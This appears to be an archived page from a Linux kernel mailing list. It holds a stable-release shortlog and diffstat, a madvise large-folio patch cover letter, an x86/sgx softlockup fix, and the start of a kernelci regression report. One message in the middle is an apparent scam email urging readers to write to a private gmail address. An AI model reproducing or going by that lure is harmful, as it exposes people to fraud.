Robin Murphy <robin.murphy(a)arm.com>
perf/arm-cmn: Fix DTC reset
Nikita Zhandarovich <n.zhandarovich(a)fintech.ru>
PM: domains: fix integer overflow issues in genpd_parse_state()
Feng Mingxi <m202271825(a)hust.edu.cn>
clocksource/drivers/cadence-ttc: Fix memory leak in ttc_timer_probe
Sebastian Andrzej Siewior <bigeasy(a)linutronix.de>
tracing/timer: Add missing hrtimer modes to decode_hrtimer_mode().
Wen Yang <wenyang.linux(a)foxmail.com>
tick/rcu: Fix bogus ratelimit condition
Thomas Gleixner <tglx(a)linutronix.de>
posix-timers: Prevent RT livelock in itimer_delete()
Gao Xiang <xiang(a)kernel.org>
erofs: fix compact 4B support for 16k block size
Gao Xiang <xiang(a)kernel.org>
erofs: simplify iloc()
Chuck Lever <chuck.lever(a)oracle.com>
svcrdma: Prevent page release when nothing was received
John Paul Adrian Glaubitz <glaubitz(a)physik.fu-berlin.de>
irqchip/jcore-aic: Fix missing allocation of IRQ descriptors
Antonio Borneo <antonio.borneo(a)foss.st.com>
irqchip/stm32-exti: Fix warning on initialized field overwritten
Yu Kuai <yukuai3(a)huawei.com>
block: fix blktrace debugfs entries leakage
Yu Kuai <yukuai3(a)huawei.com>
md/raid1-10: submit write io directly if bitmap is not enabled
Yu Kuai <yukuai3(a)huawei.com>
md/raid1-10: factor out a helper to submit normal write
Yu Kuai <yukuai3(a)huawei.com>
md/raid1-10: factor out a helper to add bio to plug
Li Nan <linan122(a)huawei.com>
md/raid10: fix io loss while replacement replace rdev
Li Nan <linan122(a)huawei.com>
md/raid10: fix null-ptr-deref of mreplace in raid10_sync_request
Li Nan <linan122(a)huawei.com>
md/raid10: fix wrong setting of max_corr_read_errors
Li Nan <linan122(a)huawei.com>
md/raid10: fix overflow of md/safe_mode_delay
Li Nan <linan122(a)huawei.com>
md/raid10: check slab-out-of-bounds in md_bitmap_get_counter
Chaitanya Kulkarni <kch(a)nvidia.com>
nvme-core: fix dev_pm_qos memleak
Chaitanya Kulkarni <kch(a)nvidia.com>
nvme-core: add missing fault-injection cleanup
Sagi Grimberg <sagi(a)grimberg.me>
nvme-auth: don't ignore key generation failures when initializing ctrl keys
Chaitanya Kulkarni <kch(a)nvidia.com>
nvme-core: fix memory leak in dhchap_ctrl_secret
Chaitanya Kulkarni <kch(a)nvidia.com>
nvme-core: fix memory leak in dhchap_secret_store
Sagi Grimberg <sagi(a)grimberg.me>
nvme-auth: no need to reset chap contexts on re-authentication
Sagi Grimberg <sagi(a)grimberg.me>
nvme-auth: remove symbol export from nvme_auth_reset
Sagi Grimberg <sagi(a)grimberg.me>
nvme-auth: rename authentication work elements
Sagi Grimberg <sagi(a)grimberg.me>
nvme-auth: rename __nvme_auth_[reset|free] to nvme_auth[reset|free]_dhchap
NeilBrown <neilb(a)suse.de>
lockd: drop inappropriate svc_get() from locked_get()
Yu Kuai <yukuai3(a)huawei.com>
blk-mq: fix potential io hang by wrong 'wake_batch'
Arnd Bergmann <arnd(a)arndb.de>
virt: sevguest: Add CONFIG_CRYPTO dependency
Tom Lendacky <thomas.lendacky(a)amd.com>
x86/sev: Fix calculation of end address based on number of pages
Li Nan <linan122(a)huawei.com>
blk-iocost: use spin_lock_irqsave in adjust_inuse_and_calc_cost
Shawn Wang <shawnwang(a)linux.alibaba.com>
x86/resctrl: Only show tasks' pid in current pid namespace
Gao Xiang <xiang(a)kernel.org>
erofs: kill hooked chains to avoid loops on deduplicated compressed images
Gao Xiang <xiang(a)kernel.org>
erofs: move zdata.h into zdata.c
Gao Xiang <xiang(a)kernel.org>
erofs: remove tagged pointer helpers
Gao Xiang <xiang(a)kernel.org>
erofs: avoid tagged pointers to mark sync decompression
Gao Xiang <xiang(a)kernel.org>
erofs: clean up cached I/O strategies
Bart Van Assche <bvanassche(a)acm.org>
block: Fix the type of the second bdev_op_is_zoned_write() argument
Arnd Bergmann <arnd(a)arndb.de>
fs: pipe: reveal missing function protoypes
Jeff Layton <jlayton(a)kernel.org>
drm: use mgr->dev in drm_dbg_kms in drm_dp_add_payload_part2
-------------
Diffstat:
Documentation/ABI/testing/sysfs-driver-eud | 2 +-
.../devicetree/bindings/power/reset/qcom,pon.yaml | 4 +-
Documentation/fault-injection/provoke-crashes.rst | 2 +-
Documentation/filesystems/autofs-mount-control.rst | 2 +-
Documentation/filesystems/autofs.rst | 2 +-
Documentation/filesystems/directory-locking.rst | 26 +-
Documentation/networking/af_xdp.rst | 9 +
Makefile | 4 +-
arch/arc/include/asm/linkage.h | 8 +-
arch/arm/boot/dts/bcm53015-meraki-mr26.dts | 2 +-
arch/arm/boot/dts/bcm53016-meraki-mr32.dts | 2 +-
arch/arm/boot/dts/bcm5301x.dtsi | 1 -
arch/arm/boot/dts/iwg20d-q7-common.dtsi | 2 +-
.../boot/dts/lan966x-kontron-kswitch-d10-mmt.dtsi | 16 +-
arch/arm/boot/dts/meson8.dtsi | 4 +-
arch/arm/boot/dts/meson8b.dtsi | 4 +-
arch/arm/boot/dts/omap3-gta04a5one.dts | 4 +-
arch/arm/boot/dts/qcom-apq8074-dragonboard.dts | 4 +
arch/arm/boot/dts/qcom-ipq4019-ap.dk04.1-c1.dts | 8 +-
arch/arm/boot/dts/qcom-ipq4019-ap.dk04.1.dtsi | 10 +-
arch/arm/boot/dts/qcom-ipq4019-ap.dk07.1.dtsi | 12 +-
arch/arm/boot/dts/qcom-msm8974.dtsi | 2 +-
arch/arm/boot/dts/stm32mp15xx-dhcom-pdk2.dtsi | 11 +-
arch/arm/boot/dts/stm32mp15xx-dhcor-avenger96.dtsi | 8 +-
.../boot/dts/stm32mp15xx-dhcor-drc-compact.dtsi | 6 +
arch/arm/boot/dts/stm32mp15xx-dhcor-som.dtsi | 6 -
arch/arm/boot/dts/stm32mp15xx-dkx.dtsi | 2 +-
arch/arm/include/asm/assembler.h | 17 +
arch/arm/include/asm/sync_bitops.h | 29 +-
arch/arm/lib/bitops.h | 14 +-
arch/arm/lib/testchangebit.S | 4 +
arch/arm/lib/testclearbit.S | 4 +
arch/arm/lib/testsetbit.S | 4 +
arch/arm/mach-ep93xx/timer-ep93xx.c | 3 +-
arch/arm/mach-omap2/board-generic.c | 1 +
arch/arm/mach-orion5x/board-dt.c | 3 +
arch/arm/mach-orion5x/common.h | 6 +
arch/arm/probes/kprobes/checkers-common.c | 2 +-
arch/arm/probes/kprobes/core.c | 2 +-
arch/arm/probes/kprobes/opt-arm.c | 2 -
arch/arm/probes/kprobes/test-core.c | 2 +-
arch/arm/probes/kprobes/test-core.h | 4 +
arch/arm64/boot/dts/mediatek/mt8183-kukui.dtsi | 4 +
arch/arm64/boot/dts/mediatek/mt8192.dtsi | 22 +-
arch/arm64/boot/dts/microchip/sparx5.dtsi | 2 +-
.../boot/dts/microchip/sparx5_pcb_common.dtsi | 12 +
arch/arm64/boot/dts/qcom/apq8016-sbc.dts | 78 +++--
arch/arm64/boot/dts/qcom/apq8096-ifc6640.dts | 4 +-
arch/arm64/boot/dts/qcom/msm8916.dtsi | 6 +-
arch/arm64/boot/dts/qcom/msm8994.dtsi | 2 +-
arch/arm64/boot/dts/qcom/msm8996.dtsi | 2 +-
arch/arm64/boot/dts/qcom/pm7250b.dtsi | 1 +
arch/arm64/boot/dts/qcom/sdm630.dtsi | 2 +-
arch/arm64/boot/dts/qcom/sdm845-xiaomi-polaris.dts | 1 +
arch/arm64/boot/dts/qcom/sdm845.dtsi | 3 +-
.../boot/dts/qcom/sm8250-sony-xperia-edo.dtsi | 7 +-
arch/arm64/boot/dts/qcom/sm8350.dtsi | 8 +-
arch/arm64/boot/dts/renesas/ulcb-kf.dtsi | 3 +-
.../boot/dts/ti/k3-j7200-common-proc-board.dts | 28 +-
arch/arm64/include/asm/fpsimdmacros.h | 6 +-
arch/mips/boot/dts/ingenic/ci20.dts | 31 +-
arch/powerpc/Kconfig.debug | 2 +-
arch/powerpc/boot/dts/turris1x.dts | 6 +-
arch/powerpc/kernel/interrupt.c | 3 +-
arch/powerpc/kernel/ppc_save_regs.S | 61 +---
arch/powerpc/kernel/signal_32.c | 15 +-
arch/powerpc/mm/book3s64/radix_pgtable.c | 34 +-
arch/powerpc/mm/init_64.c | 2 +-
arch/powerpc/platforms/powernv/pci-sriov.c | 6 +-
arch/powerpc/platforms/powernv/vas-window.c | 2 +-
arch/powerpc/platforms/pseries/vas.c | 2 +-
arch/riscv/kernel/probes/uprobes.c | 2 +
arch/riscv/mm/init.c | 4 +-
arch/s390/kvm/diag.c | 8 +-
arch/s390/kvm/kvm-s390.c | 4 +
arch/s390/kvm/vsie.c | 6 +-
arch/sh/drivers/dma/dma-sh.c | 37 +-
arch/sh/include/mach-common/mach/highlander.h | 2 +-
arch/sh/include/mach-common/mach/r2d.h | 2 +-
arch/sh/include/mach-dreamcast/mach/sysasic.h | 2 +-
arch/sh/include/mach-se/mach/se7724.h | 2 +-
arch/sh/kernel/cpu/sh2/probe.c | 2 +-
arch/sh/kernel/cpu/sh3/entry.S | 4 +-
arch/um/Makefile | 2 +-
arch/x86/coco/tdx/tdx.c | 51 ++-
arch/x86/events/amd/core.c | 2 +-
arch/x86/events/amd/ibs.c | 53 ++-
arch/x86/include/asm/perf_event.h | 2 +
arch/x86/include/asm/pgtable_64.h | 4 +-
arch/x86/include/asm/sev.h | 16 +-
arch/x86/include/asm/x86_init.h | 2 +-
arch/x86/kernel/cpu/resctrl/rdtgroup.c | 8 +-
arch/x86/kernel/sev.c | 14 +-
arch/x86/kernel/x86_init.c | 2 +-
arch/x86/mm/mem_encrypt_amd.c | 4 +-
arch/x86/mm/pat/set_memory.c | 3 +-
arch/x86/platform/efi/efi_64.c | 6 +-
block/blk-cgroup.c | 127 ++++++-
block/blk-cgroup.h | 10 +
block/blk-iocost.c | 7 +-
block/blk-mq-debugfs.c | 2 +-
block/blk-mq-tag.c | 15 +-
block/blk-mq.h | 3 +-
block/blk-throttle.c | 6 -
block/blk-throttle.h | 9 +
block/disk-events.c | 1 +
block/genhd.c | 5 +-
block/partitions/amiga.c | 102 +++++-
crypto/jitterentropy.c | 9 +-
drivers/base/power/domain.c | 15 +-
drivers/base/property.c | 132 ++++++--
drivers/bus/fsl-mc/dprc-driver.c | 6 +
drivers/bus/ti-sysc.c | 4 +-
drivers/char/hw_random/st-rng.c | 21 +-
drivers/char/hw_random/virtio-rng.c | 10 +-
drivers/clk/bcm/clk-raspberrypi.c | 4 +-
drivers/clk/clk-cdce925.c | 12 +
drivers/clk/clk-renesas-pcie.c | 2 +-
drivers/clk/clk-si5341.c | 38 ++-
drivers/clk/clk-versaclock5.c | 48 ++-
drivers/clk/clk-versaclock7.c | 2 +-
drivers/clk/clk.c | 2 +
drivers/clk/imx/clk-imx8mn.c | 8 +-
drivers/clk/imx/clk-imx8mp.c | 24 +-
drivers/clk/imx/clk-imx93.c | 15 +-
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drivers/gpu/drm/vkms/vkms_formats.c | 131 +++-----
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drivers/gpu/drm/vkms/vkms_plane.c | 2 +-
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drivers/infiniband/hw/hfi1/mmu_rb.c | 101 +++---
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drivers/infiniband/hw/hfi1/user_sdma.c | 137 +++-----
drivers/infiniband/hw/hfi1/user_sdma.h | 1 -
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drivers/infiniband/sw/rxe/rxe.h | 19 ++
drivers/infiniband/sw/rxe/rxe_mw.c | 37 +-
drivers/input/misc/adxl34x.c | 3 +-
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drivers/irqchip/irq-stm32-exti.c | 12 +
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drivers/md/dm-crypt.c | 3 +-
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drivers/md/raid1-10.c | 42 +++
drivers/md/raid1.c | 25 +-
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drivers/media/usb/siano/smsusb.c | 3 +-
drivers/memory/brcmstb_dpfe.c | 4 +-
drivers/memstick/host/r592.c | 4 +-
drivers/mfd/intel-lpss-acpi.c | 3 +
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drivers/mmc/host/sdhci.c | 4 +-
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drivers/net/ethernet/ibm/ibmvnic.c | 9 +-
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drivers/net/ethernet/intel/ice/ice_ptp.h | 4 +-
drivers/net/ethernet/intel/igc/igc.h | 28 ++
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drivers/net/ethernet/mscc/ocelot.c | 1 -
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drivers/net/ethernet/sfc/ef10.c | 13 +-
drivers/net/ethernet/stmicro/stmmac/stmmac_main.c | 6 -
drivers/net/ethernet/xilinx/xilinx_axienet_main.c | 10 +-
drivers/net/gtp.c | 2 +
drivers/net/ipvlan/ipvlan_core.c | 9 +-
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drivers/net/wireguard/netlink.c | 14 +-
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drivers/net/wireless/mediatek/mt76/mt7921/mcu.c | 8 -
drivers/net/wireless/mediatek/mt76/mt7921/pci.c | 8 +
drivers/net/wireless/microchip/wilc1000/hif.c | 8 +-
drivers/net/wireless/ray_cs.c | 16 +-
drivers/net/wireless/rsi/rsi_91x_sdio.c | 9 +-
drivers/net/wireless/wl3501_cs.c | 16 +-
drivers/nvme/host/auth.c | 51 ++-
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drivers/nvme/host/nvme.h | 8 +-
drivers/nvmem/rmem.c | 1 +
drivers/nvmem/sunplus-ocotp.c | 9 +-
drivers/pci/controller/cadence/pcie-cadence-host.c | 27 ++
drivers/pci/controller/dwc/pcie-qcom.c | 249 +++++++-------
drivers/pci/controller/pci-ftpci100.c | 14 +-
drivers/pci/controller/vmd.c | 11 +-
drivers/pci/endpoint/functions/Kconfig | 18 +-
drivers/pci/endpoint/functions/pci-epf-test.c | 2 +-
drivers/pci/hotplug/pciehp_ctrl.c | 8 +
drivers/pci/pcie/aspm.c | 21 +-
drivers/perf/arm-cmn.c | 7 +-
drivers/perf/hisilicon/hisi_pcie_pmu.c | 2 +-
drivers/phy/tegra/xusb.c | 4 +
drivers/pinctrl/bcm/pinctrl-bcm2835.c | 6 +-
drivers/pinctrl/intel/pinctrl-cherryview.c | 15 +-
drivers/pinctrl/nuvoton/pinctrl-npcm7xx.c | 2 +
drivers/pinctrl/pinctrl-at91-pio4.c | 2 +
drivers/pinctrl/pinctrl-microchip-sgpio.c | 3 +
drivers/pinctrl/sunplus/sppctl.c | 23 +-
drivers/platform/x86/dell/dell-rbtn.c | 13 +-
drivers/platform/x86/lenovo-yogabook-wmi.c | 34 +-
drivers/platform/x86/think-lmi.c | 20 +-
drivers/platform/x86/thinkpad_acpi.c | 6 +-
drivers/powercap/Kconfig | 4 +-
drivers/powercap/intel_rapl_msr.c | 1 -
drivers/pwm/pwm-ab8500.c | 2 +-
drivers/pwm/pwm-imx-tpm.c | 7 +
drivers/pwm/pwm-mtk-disp.c | 13 +-
drivers/pwm/sysfs.c | 17 +
drivers/regulator/core.c | 30 +-
drivers/regulator/tps65219-regulator.c | 6 +-
drivers/rtc/rtc-st-lpc.c | 2 +-
drivers/s390/net/qeth_l3_sys.c | 2 +-
drivers/scsi/3w-xxxx.c | 4 +-
drivers/scsi/lpfc/lpfc_els.c | 14 +-
drivers/scsi/qedf/qedf_main.c | 3 +-
drivers/soc/amlogic/meson-secure-pwrc.c | 2 +-
drivers/soc/fsl/qe/Kconfig | 1 +
drivers/soc/mediatek/mtk-svs.c | 4 +-
drivers/soc/xilinx/xlnx_event_manager.c | 6 +-
drivers/spi/spi-bcm-qspi.c | 10 +-
drivers/spi/spi-dw-core.c | 5 +-
drivers/spi/spi-geni-qcom.c | 8 +-
.../media/atomisp/pci/atomisp_gmin_platform.c | 2 +-
.../vc04_services/interface/vchiq_arm/vchiq_arm.c | 4 +-
drivers/thermal/Kconfig | 14 +-
drivers/thermal/Makefile | 2 +-
drivers/thermal/mediatek/Kconfig | 21 ++
drivers/thermal/mediatek/Makefile | 1 +
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drivers/thermal/sun8i_thermal.c | 55 +--
drivers/tty/serial/8250/8250_omap.c | 25 +-
drivers/tty/serial/fsl_lpuart.c | 1 +
drivers/tty/serial/serial_core.c | 10 +-
drivers/usb/core/devio.c | 2 +
drivers/usb/dwc2/platform.c | 18 +-
drivers/usb/dwc3/dwc3-meson-g12a.c | 5 +-
drivers/usb/dwc3/dwc3-qcom.c | 17 +-
drivers/usb/dwc3/gadget.c | 4 +-
drivers/usb/gadget/function/u_serial.c | 13 +-
drivers/usb/phy/phy-tahvo.c | 2 +-
drivers/usb/serial/option.c | 4 +
drivers/usb/typec/ucsi/psy.c | 14 +
drivers/vfio/mdev/mdev_core.c | 23 +-
drivers/video/fbdev/omap/lcd_mipid.c | 6 +-
drivers/virt/coco/sev-guest/Kconfig | 1 +
drivers/w1/slaves/w1_therm.c | 31 +-
drivers/w1/w1.c | 4 +-
fs/afs/write.c | 8 +-
fs/btrfs/block-group.c | 41 ++-
fs/btrfs/ctree.c | 28 +-
fs/btrfs/free-space-tree.c | 3 +
fs/btrfs/locking.c | 5 +-
fs/btrfs/qgroup.c | 2 +
fs/erofs/data.c | 9 +-
fs/erofs/inode.c | 2 +-
fs/erofs/internal.h | 16 +-
fs/erofs/tagptr.h | 107 ------
fs/erofs/xattr.c | 20 +-
fs/erofs/zdata.c | 373 +++++++++++++--------
fs/erofs/zdata.h | 178 ----------
fs/erofs/zmap.c | 19 +-
fs/ext4/namei.c | 17 +-
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fs/f2fs/data.c | 7 +-
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fs/f2fs/node.c | 4 +-
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fs/gfs2/file.c | 2 +-
fs/inode.c | 42 +++
fs/internal.h | 2 +
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fs/jffs2/xattr.h | 4 +-
fs/kernfs/dir.c | 2 +
fs/lockd/svc.c | 1 -
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fs/nfs/nfs42xattr.c | 79 +++--
fs/nfs/nfs4proc.c | 1 +
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fs/notify/fanotify/fanotify_user.c | 14 +
fs/ntfs3/xattr.c | 3 +
fs/ocfs2/cluster/tcp.c | 23 +-
fs/overlayfs/copy_up.c | 2 +
fs/overlayfs/dir.c | 3 +-
fs/overlayfs/export.c | 3 +-
fs/overlayfs/namei.c | 3 +-
fs/overlayfs/overlayfs.h | 6 +-
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fs/overlayfs/util.c | 24 +-
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fs/smb/client/file.c | 25 +-
fs/smb/client/smb2inode.c | 9 +-
fs/smb/client/smb2ops.c | 19 +-
fs/smb/client/transport.c | 20 +-
fs/smb/server/smb_common.c | 2 +-
fs/xfs/scrub/common.c | 26 --
fs/xfs/scrub/common.h | 2 -
fs/xfs/scrub/fscounters.c | 13 +-
fs/xfs/scrub/scrub.c | 2 -
fs/xfs/scrub/scrub.h | 1 -
fs/xfs/xfs_icache.c | 40 ++-
fs/xfs/xfs_mount.h | 3 +
fs/xfs/xfs_super.c | 3 +
include/crypto/internal/kpp.h | 6 +
include/drm/drm_bridge.h | 8 +
include/drm/drm_fixed.h | 6 +
include/linux/bitmap.h | 8 +-
include/linux/blk-mq.h | 3 +-
include/linux/blkdev.h | 2 +-
include/linux/blktrace_api.h | 6 +-
include/linux/bootmem_info.h | 2 +
include/linux/bpf.h | 1 -
include/linux/can/length.h | 14 +-
include/linux/dsa/sja1105.h | 4 -
include/linux/ieee80211.h | 14 +-
include/linux/ip.h | 21 ++
include/linux/mmc/card.h | 1 +
include/linux/netdevice.h | 9 +
include/linux/nmi.h | 2 +-
include/linux/pci.h | 1 +
include/linux/pipe_fs_i.h | 4 -
include/linux/ramfs.h | 1 +
include/linux/sh_intc.h | 6 +-
include/linux/watch_queue.h | 3 +-
include/net/bluetooth/mgmt.h | 79 ++---
include/net/regulatory.h | 13 +-
include/net/route.h | 3 -
include/net/sock.h | 1 +
include/soc/mscc/ocelot.h | 10 +-
include/trace/events/erofs.h | 4 +-
include/trace/events/net.h | 3 +-
include/trace/events/timer.h | 6 +-
include/uapi/linux/affs_hardblocks.h | 68 ++--
include/uapi/linux/auto_dev-ioctl.h | 2 +-
include/uapi/linux/videodev2.h | 2 +-
io_uring/io_uring.c | 20 +-
kernel/bpf/btf.c | 6 +-
kernel/bpf/cgroup.c | 15 +
kernel/bpf/trampoline.c | 32 +-
kernel/kcsan/core.c | 2 +
kernel/kexec_core.c | 5 +-
kernel/rcu/rcu.h | 6 +
kernel/rcu/rcuscale.c | 204 +++++------
kernel/rcu/tasks.h | 7 +-
kernel/rcu/tree.c | 23 +-
kernel/time/posix-timers.c | 43 ++-
kernel/time/tick-sched.c | 2 +-
kernel/watch_queue.c | 12 +-
kernel/watchdog_hld.c | 6 +-
lib/bitmap.c | 2 +-
lib/ts_bm.c | 4 +-
mm/damon/ops-common.c | 16 +-
mm/damon/ops-common.h | 4 +-
mm/damon/paddr.c | 4 +-
mm/damon/vaddr.c | 4 +-
mm/memory.c | 7 +
mm/mmap.c | 5 +-
mm/shmem.c | 2 +-
net/bluetooth/hci_conn.c | 47 ++-
net/bluetooth/hci_event.c | 15 +-
net/bluetooth/hci_sync.c | 28 +-
net/bluetooth/mgmt.c | 12 +
net/bridge/br_if.c | 5 +-
net/core/filter.c | 126 +++++--
net/core/rtnetlink.c | 104 +++---
net/core/sock.c | 17 +-
net/dsa/tag_sja1105.c | 90 ++---
net/ipv4/tcp_input.c | 12 +-
net/mac80211/debugfs_netdev.c | 2 +-
net/mac80211/sta_info.c | 2 +
net/mac80211/util.c | 4 +-
net/netfilter/ipvs/Kconfig | 27 +-
net/netfilter/ipvs/ip_vs_conn.c | 4 +-
net/netfilter/nf_conntrack_helper.c | 4 +
net/netfilter/nf_conntrack_proto_dccp.c | 52 ++-
net/netfilter/nf_conntrack_sip.c | 2 +-
net/netfilter/nf_tables_api.c | 13 +-
net/netfilter/nft_byteorder.c | 14 +-
net/netlink/af_netlink.c | 5 +-
net/netlink/diag.c | 7 +-
net/nfc/llcp.h | 1 -
net/nfc/llcp_commands.c | 15 +-
net/nfc/llcp_core.c | 49 ++-
net/nfc/llcp_sock.c | 18 +-
net/nfc/netlink.c | 20 +-
net/nfc/nfc.h | 1 +
net/sched/act_ipt.c | 60 +++-
net/sched/act_pedit.c | 1 +
net/sctp/socket.c | 22 +-
net/sunrpc/svcsock.c | 23 +-
net/sunrpc/xprtrdma/svc_rdma_recvfrom.c | 12 +-
net/wireless/core.c | 16 -
net/wireless/reg.c | 16 +-
net/wireless/scan.c | 367 ++++++++------------
net/xdp/xsk.c | 5 +
samples/bpf/tcp_basertt_kern.c | 2 +-
samples/bpf/xdp1_kern.c | 2 +-
samples/bpf/xdp2_kern.c | 2 +-
scripts/Makefile.modfinal | 2 +-
scripts/mod/modpost.c | 86 ++---
security/apparmor/policy_unpack.c | 9 +-
security/integrity/evm/evm_crypto.c | 2 +-
security/integrity/evm/evm_main.c | 4 +-
security/integrity/iint.c | 15 +-
security/integrity/ima/ima_modsig.c | 3 +
security/integrity/ima/ima_policy.c | 3 +-
sound/core/jack.c | 15 +-
sound/core/pcm_memory.c | 44 ++-
sound/pci/ac97/ac97_codec.c | 4 +-
sound/pci/hda/patch_realtek.c | 7 +-
sound/soc/amd/acp/acp-pdm.c | 2 +-
sound/soc/codecs/es8316.c | 23 +-
sound/soc/fsl/imx-audmix.c | 9 +
sound/soc/intel/boards/sof_sdw.c | 2 +-
sound/soc/mediatek/mt8173/mt8173-afe-pcm.c | 13 +-
tools/bpf/bpftool/feature.c | 24 +-
tools/lib/bpf/bpf_helpers.h | 15 +-
tools/lib/bpf/btf_dump.c | 22 +-
tools/perf/arch/x86/util/Build | 1 +
tools/perf/arch/x86/util/env.c | 19 ++
tools/perf/arch/x86/util/env.h | 7 +
tools/perf/arch/x86/util/evsel.c | 16 +-
tools/perf/arch/x86/util/mem-events.c | 19 +-
tools/perf/builtin-bench.c | 2 +
tools/perf/builtin-script.c | 16 +-
tools/perf/util/dwarf-aux.c | 2 +-
tools/testing/selftests/bpf/Makefile | 3 +-
tools/testing/selftests/bpf/prog_tests/check_mtu.c | 2 +-
tools/testing/selftests/cgroup/test_memcontrol.c | 4 +-
tools/testing/selftests/net/rtnetlink.sh | 1 +
.../rcutorture/configs/rcu/BUSTED-BOOST.boot | 2 +-
.../selftests/rcutorture/configs/rcu/TREE03.boot | 2 +-
.../selftests/vDSO/vdso_test_clock_getres.c | 4 +-
tools/testing/selftests/wireguard/netns.sh | 30 +-
612 files changed, 5742 insertions(+), 3874 deletions(-)
2 years, 4 months
- 9
- 601
[PATCH v2 0/3] don't use mapcount() to check large folio sharing
by Yin Fengwei
In madvise_cold_or_pageout_pte_range() and madvise_free_pte_range(),
folio_mapcount() is used to check whether the folio is shared. But it's
not correct as folio_mapcount() returns total mapcount of large folio.
Use folio_estimated_sharers() here as the estimated number is enough.
This patchset will fix the cases:
User space application call madvise() with MADV_FREE, MADV_COLD and
MADV_PAGEOUT for specific address range. There are THP mapped to the
range. Without the patchset, the THP is skipped. With the patch, the
THP will be split and handled accordingly.
David reported the cow self test skip some cases because of
MADV_PAGEOUT skip THP:
https://lore.kernel.org/linux-mm/9e92e42d-488f-47db-ac9d-75b24cd0d037@intel…
and I confirmed this patchset make it work again.
Changelog from v1:
- Avoid two Fixes tags make backport harder. Thank Andrew for pointing
this out.
- Add note section to mention this is a temporary fix which is fine
to reduce user-visble effects. For long term fix, we should wait for
David's solution. Thank Ryan and David for pointing this out.
- Spell user-visible effects out. Then people could decide whether
these patches are necessary for stable branch. Thank Andrew for
pointing this out.
V1:
https://lore.kernel.org/linux-mm/9e92e42d-488f-47db-ac9d-75b24cd0d037@intel…
Yin Fengwei (3):
madvise:madvise_cold_or_pageout_pte_range(): don't use mapcount()
against large folio for sharing check
madvise:madvise_free_huge_pmd(): don't use mapcount() against large
folio for sharing check
madvise:madvise_free_pte_range(): don't use mapcount() against large
folio for sharing check
mm/huge_memory.c | 2 +-
mm/madvise.c | 6 +++---
2 files changed, 4 insertions(+), 4 deletions(-)
--
2.39.2
2 years, 4 months
- 5
- 14
[PATCHv2] x86/sgx: Avoid softlockup from sgx_vepc_release
by Jack Wang
We hit softlocup with following call trace:
? asm_sysvec_apic_timer_interrupt+0x16/0x20
xa_erase+0x21/0xb0
? sgx_free_epc_page+0x20/0x50
sgx_vepc_release+0x75/0x220
__fput+0x89/0x250
task_work_run+0x59/0x90
do_exit+0x337/0x9a0
Similar like commit
8795359e35bc ("x86/sgx: Silence softlockup detection when releasing large enclaves")
The test system has 64GB of enclave memory, and all assigned to a single
VM. Release vepc take longer time and triggers the softlockup warning.
Add a cond_resched() to give other tasks a chance to run and placate
the softlockup detector.
Cc: Jarkko Sakkinen <jarkko(a)kernel.org>
Cc: Haitao Huang <haitao.huang(a)linux.intel.com>
Cc: stable(a)vger.kernel.org
Fixes: 540745ddbc70 ("x86/sgx: Introduce virtual EPC for use by KVM guests")
Reported-by: Yu Zhang <yu.zhang(a)ionos.com>
Tested-by: Yu Zhang <yu.zhang(a)ionos.com>
Acked-by: Haitao Huang <haitao.huang(a)linux.intel.com>
Reviewed-by: Jarkko Sakkinen <jarkko(a)kernel.org>
Signed-off-by: Jack Wang <jinpu.wang(a)ionos.com>
---
v2:
* collects review and test by.
* add fixes tag
* trim call trace.
arch/x86/kernel/cpu/sgx/virt.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/arch/x86/kernel/cpu/sgx/virt.c b/arch/x86/kernel/cpu/sgx/virt.c
index c3e37eaec8ec..01d2795792cc 100644
--- a/arch/x86/kernel/cpu/sgx/virt.c
+++ b/arch/x86/kernel/cpu/sgx/virt.c
@@ -204,6 +204,7 @@ static int sgx_vepc_release(struct inode *inode, struct file *file)
continue;
xa_erase(&vepc->page_array, index);
+ cond_resched();
}
/*
@@ -222,6 +223,7 @@ static int sgx_vepc_release(struct inode *inode, struct file *file)
list_add_tail(&epc_page->list, &secs_pages);
xa_erase(&vepc->page_array, index);
+ cond_resched();
}
/*
--
2.34.1
2 years, 4 months
- 3
- 2
Your attention please!!
by KEIN BRIGGS
Your attention please!
My efforts to reaching you many times always not through.
Please may you kindly let me know if you are still using this email
address as my previous messages to you were not responded to.
I await hearing from you once more if my previous messages were not received.
Reach me via my email: privateemail01112(a)gmail.com
My regards,
Kein Briggs.
2 years, 4 months
- 1
- 0
stable-rc/linux-6.1.y baseline: 115 runs, 11 regressions (v6.1.46)
by kernelci.org bot
stable-rc/linux-6.1.y baseline: 115 runs, 11 regressions (v6.1.46)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
acer-chromebox-cxi4-puff | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
at91-sama5d4_xplained | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/job/stable-rc/branch/linux-6.1.y/kernel/v6.1.46/p…
Test: baseline
Tree: stable-rc
Branch: linux-6.1.y
Describe: v6.1.46
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: 6c44e13dc284f7f4db17706ca48fd016d6b3d49a
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
acer-chromebox-cxi4-puff | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd4b781c490e3bd135b25b
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
